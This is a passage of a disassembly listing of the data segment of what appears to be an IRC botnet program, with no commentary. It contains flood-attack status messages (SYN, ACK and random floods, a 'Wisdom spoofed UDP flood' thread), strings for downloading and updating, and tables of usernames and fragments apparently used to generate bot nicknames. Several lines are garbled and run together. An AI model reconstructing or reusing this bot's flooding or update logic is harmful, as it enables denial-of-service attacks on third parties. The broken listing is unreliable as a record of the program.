		db 30h,	34h, 2
		db  54h	; T
		db 2, 1Fh, 63h
		db  1Fh
		db 2, 50h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorSetsocko	db '2 Error: setsockopt() failed, returned: <%d>.',0
		align 4
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  54h	; T
		db 2, 1Fh, 63h
		db  1Fh
		db 2, 50h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2InvalidTarget	db '2 Invalid target IP.',0
		align 10h
aSyn_1		db 'syn',0
aAck_0		db 'ack',0
aRandom_2	db 'random',0
		align 10h
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  54h	; T
		db 2, 1Fh, 63h
		db  1Fh
		db 2, 50h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorSendin_0	db '2 Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  54h	; T
		db 2, 1Fh, 63h
		db  1Fh
		db 2, 50h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2DoneWithSFloo	db '2 Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 10h
unk_44C1B0	db    2			; DATA XREF: seg000:00415411o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  54h	; T
		db 2, 73h, 2
		db  55h	; U
		db 2, 6Eh, 61h
		db    2
		db 4Dh,	2, 69h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2DoneWithFlo_0	db '2 Done with flood, %d packets sent.',0
		align 4
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: seg000:0041552Do
unk_44C208	db    2			; DATA XREF: seg000:004156F6o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  57h	; W
		db 2, 69h, 73h
		db    2
		db 64h,	2, 6Fh
		db  6Dh	; m
		db 3, 31h, 35h
		db  28h	; (
		db 3, 34h, 2
		db  55h	; U
		db 2, 64h, 50h
		db    3
		db 31h,	35h, 29h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2StartingWisdo	db '2 Starting Wisdom spoofed UDP flood thread.',0
		align 4
unk_44C268	db    2			; DATA XREF: sub_415725+2Ao
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  57h	; W
		db 2, 69h, 73h
		db    2
		db 64h,	2, 6Fh
		db  6Dh	; m
		db 3, 31h, 35h
		db  28h	; (
		db 3, 34h, 2
		db  55h	; U
		db 2, 64h, 50h
		db    3
		db 31h,	35h, 29h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorCallingS	db '2 Error calling socket().',0
		align 4
unk_44C2B4	db    2			; DATA XREF: sub_415725+63o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  57h	; W
		db 2, 69h, 73h
		db    2
		db 64h,	2, 6Fh
		db  6Dh	; m
		db 3, 31h, 35h
		db  28h	; (
		db 3, 34h, 2
		db  55h	; U
		db 2, 64h, 50h
		db    3
		db 31h,	35h, 29h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorCallin_0	db '2 Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 4
unk_44C324	db    2			; DATA XREF: sub_415725+80o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  57h	; W
		db 2, 69h, 73h
		db    2
		db 64h,	2, 6Fh
		db  6Dh	; m
		db 3, 31h, 35h
		db  28h	; (
		db 3, 34h, 2
		db  55h	; U
		db 2, 64h, 50h
		db    3
		db 31h,	35h, 29h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2InvalidTarg_0	db '2 Invalid target IP. WSAGetLastError() returns %d.',0
unk_44C388	db    2			; DATA XREF: sub_415725+CCo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  57h	; W
		db 2, 69h, 73h
		db    2
		db 64h,	2, 6Fh
		db  6Dh	; m
		db 3, 31h, 35h
		db  28h	; (
		db 3, 34h, 2
		db  55h	; U
		db 2, 64h, 50h
		db    3
		db 31h,	35h, 29h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2SendingPacket	db '2 Sending packets to %s...',0
aD_D_D_D_1	db '%d.%d.%d.%d',0      ; DATA XREF: sub_415725+17Eo
unk_44C3E0	db    2			; DATA XREF: sub_415725+348o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  57h	; W
		db 2, 69h, 73h
		db    2
		db 64h,	2, 6Fh
		db  6Dh	; m
		db 3, 31h, 35h
		db  28h	; (
		db 3, 34h, 2
		db  55h	; U
		db 2, 64h, 50h
		db    3
		db 31h,	35h, 29h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorSendin_1	db '2 Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_44C48C	db    2			; DATA XREF: sub_415725+2F6o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  57h	; W
		db 2, 69h, 73h
		db    2
		db 64h,	2, 6Fh
		db  6Dh	; m
		db 3, 31h, 35h
		db  28h	; (
		db 3, 34h, 2
		db  55h	; U
		db 2, 64h, 50h
		db    3
		db 31h,	35h, 29h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2FinishedSen_0	db '2 Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 10h
unk_44C510	db    2			; DATA XREF: seg000:00415ADAo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  57h	; W
		db 2, 1Fh, 6Fh
		db  1Fh
		db 2, 6Eh, 2
		db  6Bh	; k
		db 3, 30h, 32h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
asc_44C554:				; DATA XREF: sub_415C17+1C5o
		unicode	0, < >,0
aSD_3		db '%s%d ',0            ; DATA XREF: sub_415C17+207o
		align 10h
dword_44C560	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 696C0241h
					; DATA XREF: sub_41612F+10o
		dd 73026102h, 2696C20h,	3027473h, 32C3130h, 33A3531h, 32h
dword_44C58C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4161A7+60o
		align 4
dword_44C5C4	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 6F1F026Ch
					; DATA XREF: seg000:00416263o
		dd 267021Fh, 2C313003h,	3A353103h, 3203h
dword_44C5E8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 6F1F026Ch
					; DATA XREF: sub_4162E4+20o
		dd 267021Fh, 2C313003h,	3A353103h, 2203203h, 656C0243h
		dd 64657261h, 0
dword_44C618	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 6F1F026Ch
					; DATA XREF: sub_4162E4:loc_416319o
		dd 267021Fh, 2C313003h,	3A353103h, 2203203h, 656C0243h
		dd 64657261h, 2Eh
dword_44C648	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 6F1F026Ch
					; DATA XREF: seg000:00416396o
		dd 267021Fh, 2C313003h,	3A353103h, 6C203203h, 73026902h
		dd 53022074h, 72617402h, 676E6974h, 0
dword_44C680	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 6F1F026Ch
					; DATA XREF: seg000:00416433o
		dd 267021Fh, 2C313003h,	3A353103h, 6C203203h, 73026902h
		dd 43022074h, 706D6F02h, 6574656Ch, 0
		dd 35310302h, 25B302Ch,	91323003h, 2343003h, 26F0244h
		dd 26E0277h, 26F026Ch, 2640261h, 32300302h, 3531032Ch
		dd 2032033Ah, 6F024302h, 6E646C75h, 2207427h, 6570024Fh
		dd 4602206Eh, 6C026902h, 33A6502h, 73252034h, 0
		dd 35310302h, 25B302Ch,	91343003h, 2323003h, 26F0244h
		dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
		dd 2034033Ah, 26F4402h,	6C026E77h, 261026Fh, 64026564h
		dd 25203203h, 34032073h, 4B642528h, 2942h, 35310302h, 25B302Ch
		dd 91343003h, 2323003h,	26F0244h, 26E0277h, 26F026Ch, 2640261h
		dd 34300302h, 3531032Ch, 2034033Ah, 6F024702h, 55022074h
		dd 61647002h, 32036574h, 20732520h, 25283403h, 29424B64h
		dd 0
		dd 35310302h, 25B302Ch,	91323003h, 2343003h, 26F0244h
		dd 26E0277h, 26F026Ch, 2640261h, 32300302h, 3531032Ch
		dd 2032033Ah, 72025702h, 20676E6Fh, 69024602h, 6973656Ch
		dd 3403657Ah, 64252820h, 203D2120h, 2E296425h, 0
		dd 35310302h, 25B302Ch,	91323003h, 2343003h, 26F0244h
		dd 26E0277h, 26F026Ch, 2640261h, 32300302h, 3531032Ch
		dd 2032033Ah, 72025702h, 20676E6Fh, 72026302h, 3026302h
		dd 25282034h, 3D212064h, 29642520h, 2Eh, 35310302h, 25B302Ch
		dd 91343003h, 2323003h,	26F0244h, 26E0277h, 26F026Ch, 2640261h
		dd 34300302h, 3531032Ch, 2034033Ah, 26F4402h, 6C026E77h
		dd 261026Fh, 64026564h,	25203203h, 2066312Eh, 424B3403h
		dd 36F7420h, 73252032h,	25204020h, 2066312Eh, 424B3403h
		dd 6365732Fh, 0
aOpen_2		db 'open',0
		align 4
		dd 35310302h, 25B302Ch,	91343003h, 2323003h, 26F0244h
		dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
		dd 2034033Ah, 70024F02h, 6E026502h, 2026502h, 32030264h
		dd 732520h, 35310302h, 25B302Ch, 91343003h, 2323003h, 26F0244h
		dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
		dd 2034033Ah, 26F4402h,	6C026E77h, 261026Fh, 64026564h
		dd 25203203h, 2066312Eh, 424B3403h, 36F7420h, 73252032h
		dd 25204020h, 2066312Eh, 424B3403h, 6365732Fh, 3203202Ch
		dd 70025502h, 61026402h, 2690274h, 4220676Eh, 74026F02h
		dd 0
		dd 35310302h, 25B302Ch,	91323003h, 2343003h, 26F0244h
		dd 26E0277h, 26F026Ch, 2640261h, 32300302h, 3531032Ch
		dd 2032033Ah, 70025502h, 2610264h, 2206574h, 69610246h
		dd 65026C02h, 2202C64h,	2720245h, 726F0272h, 2450220h
		dd 63026578h, 69747502h, 67026E02h, 25203403h, 73h, 35310302h
		dd 25B302Ch, 91323003h,	2343003h, 26F0244h, 26E0277h, 26F026Ch
		dd 2640261h, 32300302h,	3531032Ch, 2034033Ah, 61024202h
		dd 2552064h, 204C0252h,	272024Fh, 2440220h, 220736Eh, 2720245h
		dd 726F0272h, 3746120h,	73252032h, 2Eh
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416A2E:loc_416A71o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416A2E:loc_416A6Bo
aDisk		db 'Disk',0             ; DATA XREF: sub_416A2E:loc_416A65o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416A2E:loc_416A5Fo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416A2E:loc_416A59o
		align 4
off_44CA48	dd offset word_4D4152	; DATA XREF: sub_416A2E:loc_416A53o
dword_44CA4C	dd 3Fh		aFailed		db 'failed',0           ; DATA XREF: sub_416ABF+E0o
		align 4
aFailed_0	db 'failed',0           ; DATA XREF: sub_416ABF+F1o
		align 10h
aFailed_1	db 'failed',0           ; DATA XREF: sub_416ABF+102o
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416ABF+70o
		align 10h
aSkb_0		db '%sKB',0             ; DATA XREF: sub_416ABF+9Bo
		align 4
aSkb_1		db '%sKB',0             ; DATA XREF: sub_416ABF+C6o
		align 10h
aFailed_2	db 'failed',0           ; DATA XREF: sub_416BE3+3Bo
		align 4
dword_44CA88	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 21F4D1Fh
					; DATA XREF: sub_416BE3+58o
		dd 2690261h, 3230036Eh,	3531032Ch, 2034033Ah, 3207325h
		dd 2440232h, 65766972h,	28203403h, 3A297325h, 2203203h
		dd 69610246h, 2064656Ch, 6F025402h, 2530220h, 2C746174h
		dd 2440220h, 63697665h,	4E022065h, 20746F02h, 65025202h
		dd 796461h
dword_44CAF0	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 21F4D1Fh
					; DATA XREF: sub_416BE3+8Eo
		dd 2690261h, 3230036Eh,	3531032Ch, 2032033Ah, 3207325h
		dd 2440234h, 65766972h,	28203203h, 3A297325h, 25203403h
		dd 32032073h, 6F025402h, 2C6C6174h, 25203403h, 32032073h
		dd 72024602h, 32C6565h,	73252034h, 2320320h, 61760241h
		dd 62616C69h, 656Ch
dword_44CB5C	dd 5C3A41h	off_44CB60	dd offset dword_44CFF8	; DATA XREF: sub_417120+5Cr
		dd offset dword_44CFFC
		dd offset dword_44D000
		dd offset dword_44D004
		dd offset dword_44D008
		dd offset dword_44D00C
		dd offset dword_44D010
		dd offset dword_44D014
		dd offset dword_44D018
		dd offset dword_44D01C
		dd offset dword_44D020
		dd offset dword_44D024
		dd offset dword_44D028
		dd offset dword_44D02C
		dd offset dword_44D030
		dd offset dword_44D034
		dd offset dword_44D038
		dd offset dword_44D03C
		dd offset dword_44D040
		dd offset dword_44D044
		dd offset dword_44D048
		dd offset dword_44D04C
		dd offset dword_44D050
		dd offset dword_44D054
		dd offset dword_44D058
		dd offset dword_44D05C
		dd offset dword_44D060
		dd offset dword_44D064
		dd offset dword_44D068
		dd offset dword_44D06C
		dd offset dword_44D070
		dd offset dword_44D074
		dd offset dword_44D078
		dd offset dword_44D07C
		dd offset dword_44D080
		dd offset dword_44D084
		dd offset dword_44D088
		dd offset dword_44D08C
		dd offset dword_44D090
		dd offset dword_44D094
		dd offset dword_44D098
		dd offset dword_44D09C
		dd offset dword_44D0A0
		dd offset dword_44D0A4
		dd offset dword_44D0A8
		dd offset dword_44D0AC
		dd offset dword_44D0B0
		dd offset dword_44D0B4
		dd offset dword_44D0B8
		dd offset dword_44D0BC
		dd offset dword_44D0C0
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset aAyla		; "AYLA-"
		dd offset off_44D328
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_44D4BC
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_44CE60	dd offset aSex_0	; DATA XREF: sub_417120+41r
					; sub_417120+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_1	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset aB		; "b"
		dd offset aC_6		; "c"
		dd offset aD_3		; "d"
		dd offset aE_0		; "e"
		dd offset aF		; "f"
		dd offset aG		; "g"
		dd offset asc_44D674	; "h"
		dd offset aI_1		; "i"
		dd offset a__5		; "_"
		dd offset aJ_1		; "j"
		dd offset aK_0		; "k"
		dd offset asc_44D688	; "l"
		dd offset aM_2		; "m"
		dd offset aN_0		; "n"
		dd offset aO_0		; "o"
		dd offset aP_0		; "p"
		dd offset aQ_0		; "q"
		dd offset aRs		; "rs"
		dd offset aT_0		; "t"
		dd offset aU_0		; "u"
		dd offset aV		; "v"
		dd offset aW		; "w"
		dd offset asc_44D6B4	; "x"
		dd offset aY		; "y"
		dd offset aZ		; "z"
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset aZ_0		; "z"
		dd offset aG_0		; "g"
		dd offset aS_33		; "s"
		dd offset aQ_1		; "q"
		dd offset off_44D710
		dd offset dword_44D714
		dd offset dword_4EDCA4
		dd offset dword_4EDCA8
		dd offset dword_44D71C
		dd offset dword_4EDCAC
		dd offset dword_4EDCB0
		dd offset dword_4EDCB4
		dd offset dword_4EDCB8
		dd offset dword_44D720
		dd offset dword_44D724
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_0		; "^^^f^"
		dd offset aB_0		; "b"
		dd offset dword_4EDCBC
		dd offset aSleeping	; "Sleeping"
		dd offset dword_4EDCC0
		dd offset dword_4EDCC4
		dd offset aFuck_0	; "Fuck"
		dd offset aFree_0	; "Free"
		dd offset dword_4EDCC8
		dd offset dword_4EDCCC
		dd offset asc_44D75C	; "X"
		dd offset dword_4EDCD0
		dd offset aBoy		; "BOY"
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset aTot_0	; "tot"
		dd offset aLol		; "lol"
		dd offset aLoloA	; "lolo|a|"
		dd offset aSex4free	; "|sex4free|"
		dd offset a4us		; "|4us|"
		dd offset a4you		; "{4you}"
		dd offset a4u		; "|4u|"
		dd offset a5u		; "5u"
		dd offset a6u		; "6u"
dword_44CFF8	dd 71h		dword_44CFFC	dd 77h		dword_44D000	dd 65h		dword_44D004	dd 72h		dword_44D008	dd 74h		dword_44D00C	dd 79h		dword_44D010	dd 75h		dword_44D014	dd 69h		dword_44D018	dd 70h		dword_44D01C	dd 61h		dword_44D020	dd 73h		dword_44D024	dd 64h		dword_44D028	dd 66h		dword_44D02C	dd 67h		dword_44D030	dd 68h		dword_44D034	dd 6Ah		dword_44D038	dd 6Bh		dword_44D03C	dd 6Ch		dword_44D040	dd 7Ah		dword_44D044	dd 78h		dword_44D048	dd 63h		dword_44D04C	dd 76h		dword_44D050	dd 62h		dword_44D054	dd 6Eh		dword_44D058	dd 6Dh		dword_44D05C	dd 51h		dword_44D060	dd 57h		dword_44D064	dd 45h		dword_44D068	dd 52h		dword_44D06C	dd 54h		dword_44D070	dd 59h		dword_44D074	dd 55h		dword_44D078	dd 49h		dword_44D07C	dd 4Fh		dword_44D080	dd 50h		dword_44D084	dd 41h		dword_44D088	dd 53h		dword_44D08C	dd 44h		dword_44D090	dd 46h		dword_44D094	dd 47h		dword_44D098	dd 48h		dword_44D09C	dd 4Ah		dword_44D0A0	dd 4Bh		dword_44D0A4	dd 4Ch		dword_44D0A8	dd 5Ah		dword_44D0AC	dd 58h		dword_44D0B0	dd 43h		dword_44D0B4	dd 56h		dword_44D0B8	dd 42h		dword_44D0BC	dd 4Eh		dword_44D0C0	dd 4Dh		aSmartmir	db 'SMARTMIR',0         ; DATA XREF: seg002:0044CC2Co
		align 10h
aFarooq		db 'farooq',0           ; DATA XREF: seg002:0044CC30o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: seg002:0044CC34o
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: seg002:0044CC38o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: seg002:0044CC3Co
		align 4
aKrizha		db 'KRIZHA',0           ; DATA XREF: seg002:0044CC40o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: seg002:0044CC44o
aSwin		db 'swin',0             ; DATA XREF: seg002:0044CC48o
		align 4
aMale		db 'male',0             ; DATA XREF: seg002:0044CC4Co
		align 4
aKoko		db 'koko',0             ; DATA XREF: seg002:0044CC50o
		align 4
aFlexster	db 'flexster',0         ; DATA XREF: seg002:0044CC54o
		align 4
aKen		db 'ken',0              ; DATA XREF: seg002:0044CC58o
aShez		db 'Shez',0             ; DATA XREF: seg002:0044CC5Co
		align 4
aTalika		db 'talika',0           ; DATA XREF: seg002:0044CC60o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: seg002:0044CC64o
		align 4
aCme		db 'cme',0              ; DATA XREF: seg002:0044CC68o
aHeval		db 'heval',0            ; DATA XREF: seg002:0044CC6Co
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: seg002:0044CC70o
		align 4
aJanno		db 'janno',0            ; DATA XREF: seg002:0044CC74o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: seg002:0044CC78o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: seg002:0044CC7Co
		align 4
aLuisa		db 'Luisa',0            ; DATA XREF: seg002:0044CC80o
		align 4
aTroller	db 'troller',0          ; DATA XREF: seg002:0044CC84o
aManee		db 'manee',0            ; DATA XREF: seg002:0044CC88o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: seg002:0044CC8Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: seg002:0044CC90o
		align 10h
aCoredump	db 'CoreDump',0         ; DATA XREF: seg002:0044CC94o
		align 4
aImra		db 'imra',0             ; DATA XREF: seg002:0044CC98o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: seg002:0044CC9Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: seg002:0044CCA0o
		align 4
aReshma		db 'reshma',0           ; DATA XREF: seg002:0044CCA4o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: seg002:0044CCA8o
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: seg002:0044CCACo
		align 10h
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: seg002:0044CCB0o
		align 4
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: seg002:0044CCB4o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: seg002:0044CCB8o
aHexaaa		db 'hexaaa',0           ; DATA XREF: seg002:0044CCBCo
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: seg002:0044CCC0o
		align 10h
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: seg002:0044CCC4o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: seg002:0044CCC8o
		align 4
aMisssunday	db 'misssunday',0       ; DATA XREF: seg002:0044CCCCo
		align 4
aTolga34	db 'Tolga34',0          ; DATA XREF: seg002:0044CCD0o
aJericho	db 'JERICHO',0          ; DATA XREF: seg002:0044CCD4o
aMary_0		db 'MARY',0             ; DATA XREF: seg002:0044CCD8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: seg002:0044CCDCo
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: seg002:0044CCE0o
		align 4
